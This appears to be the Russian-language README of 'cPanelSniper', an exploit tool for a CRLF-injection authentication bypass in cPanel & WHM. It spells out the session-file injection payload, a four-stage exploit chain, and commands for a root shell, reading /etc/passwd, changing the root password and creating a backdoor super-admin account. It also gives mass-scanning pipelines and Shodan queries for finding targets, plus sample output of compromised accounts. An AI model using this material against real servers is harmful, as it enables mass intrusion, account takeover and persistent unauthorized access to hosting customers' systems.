Нормальный поток:
  POST /login/ → filter_sessiondata() → запись сессии → проверка аутентификации

Уязвимый поток:
  POST /login/ → запись сессии (внедрена CRLF-нагрузка) → filter_sessiondata() → проверка аутентификации читает отравленный файл

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

┌─────────────────────────────────────────────────────────────┐
│  Этап 0 — Обнаружение канонического имени хоста             │
│  GET /openid_connect/cpanelid → 307 → реальное имя хоста    │
├─────────────────────────────────────────────────────────────┤
│  Этап 1 — Создание preauth-сессии                           │
│  POST /login/?login_only=1  (неверные учётные данные)       │
│  ← 401 + cookie whostmgrsession                             │
├─────────────────────────────────────────────────────────────┤
│  Этап 2 — CRLF-инъекция                                     │
│  GET / + Cookie: session + Authorization: Basic <нагрузка>  │
│  cpsrvd записывает CRLF-поля в файл сессии                  │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Этап 3 — Распространение (гаджет do_token_denied)          │
│  GET /scripts2/listaccts                                    │
│  Запускает сброс raw→cache — внедрённые поля активируются   │
│  ← 401 Token denied (ожидаемо)                              │
├─────────────────────────────────────────────────────────────┤
│  Этап 4 — Проверка root-доступа к WHM                       │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = ВЗЛОМАН        │
└─────────────────────────────────────────────────────────────┘

git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help

# Одиночная цель — только сканирование
python3 cPanelSniper.py -u https://target.com:2087

# Одиночная цель — интерактивная оболочка после обхода
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Массовое сканирование из файла
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# Принудительное сканирование (пропустить обнаружение cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force

# Список всех учётных записей cPanel на сервере
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Выполнение OS-команды
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Получение информации о сервере (имя хоста, нагрузка, диск, MySQL-хост)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Получение версии cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Смена root-пароля
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Интерактивная WHM-оболочка
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Из списка scope
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Результаты Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 30 -o shodan_results.json

# Пайп из stdin
echo "https://target.com:2087" | python3 cPanelSniper.py

# Комбинация нескольких источников
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python3 cPanelSniper.py -t 20 --action list

════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Версия: CVE-2026-41940 | Auth: CRLF bypass
  Введите 'help' для списка команд, 'exit' для выхода
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [cPanel Accounts]  target.com:2087 (47 пользователей)
    user01               domain: example.com    email: [email protected]
    user02               domain: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Server Info]  https://target.com:2087
  hostname: srv01.target.com
  load: 0.72 / 0.66 / 0.69
  version: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [BACKDOOR ADMIN CREATED]
  Target   : https://target.com:2087
  Username : mitsec
  Password : P@ss2026!
  Profile  : super_admin

[email protected] ▶ exit

usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
                       [--action ACTION] [--passwd PASS] [--cmd CMD]
                       [--new-user USER] [--new-domain DOMAIN]
                       [-o OUTPUT] [--no-color]

Цель:
  -u, --url URL          URL одиночной цели (например, https://host:2087)
  -l, --list LIST        Файл с URL (по одному на строку)
  --hostname HOSTNAME    Переопределить канонический Host-заголовок (автообнаружение)

Сканирование:
  -t, --threads N        Параллельные потоки (по умолчанию: 10)
  --timeout N            Таймаут запроса в секундах (по умолчанию: 15)
  --rate-limit N         Задержка между целями (по умолчанию: 0)
  --force                Пропустить проверку обнаружения cPanel

Пост-эксплуатация:
  --action ACTION        Действие: list | passwd | cmd | exec | info |
                                 version | shell | adduser
  --passwd PASS          Новый root-пароль (--action passwd)
  --cmd CMD              OS-команда (--action cmd/exec)
  --new-user USER        Новое имя пользователя cPanel (--action adduser)
  --new-domain DOMAIN    Новый домен cPanel (--action adduser)

Вывод:
  -o, --output FILE      Сохранить результаты в JSON-файл
  --no-color             Отключить ANSI-цвета

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию
  4 этапа: preauth → CRLF-инъекция → распространение → проверка → пост-эксплуатация
  In-The-Wild | CVSS 10.0 | Автор: Mitsec (@ynsmroztas)

  Конфигурация:
   Целей   : 1
   Потоков : 10
   Таймаут : 15s
   Действие: list

14:46:22 [SCAN] Запуск цепочки эксплойта из 4 этапов... https://target.com:2087
14:46:23 [INFO] Обнаружено каноническое имя хоста: srv01.target.com
14:46:23 [STEP] Этап 1/4 — Создание preauth-сессии...
14:46:23 [  OK] Этап1: preauth-сессия = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Этап 2/4 — CRLF-инъекция через заголовок Authorization...
14:46:24 [  OK] Этап2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Этап 3/4 — Запуск гаджета do_token_denied (raw→cache)...
14:46:25 [  OK] Этап3: HTTP 401 — гаджет do_token_denied сработал
14:46:25 [STEP] Этап 4/4 — Проверка root-доступа к WHM...
14:46:26 [PWND] CVE-2026-41940 ПОДТВЕРЖДЕНА — root-доступ к WHM!
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Версия   : 11.130.0.6
14:46:26 [PWND]   API URL  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Выполнение пост-эксплуатационного действия: list
14:46:27 [ API] listaccts → HTTP 200

  [cPanel Accounts]  target.com:2087 (47 учётных записей)
    client01    domain: client01.com    email: [email protected]
    client02    domain: client02.net    email: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — Сканирование завершено
  Время: 5.8s  ·  Целей: 1

  ⚡ 1 УЯЗВИМАЯ ЦЕЛЬ(И)

  Target   : https://target.com:2087
  Версия   : 11.130.0.6
  Token    : /cpsess8493537756
  API URL  : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- ob-хэш (удаляется)
                              +-- имя сессии (используется для инъекции)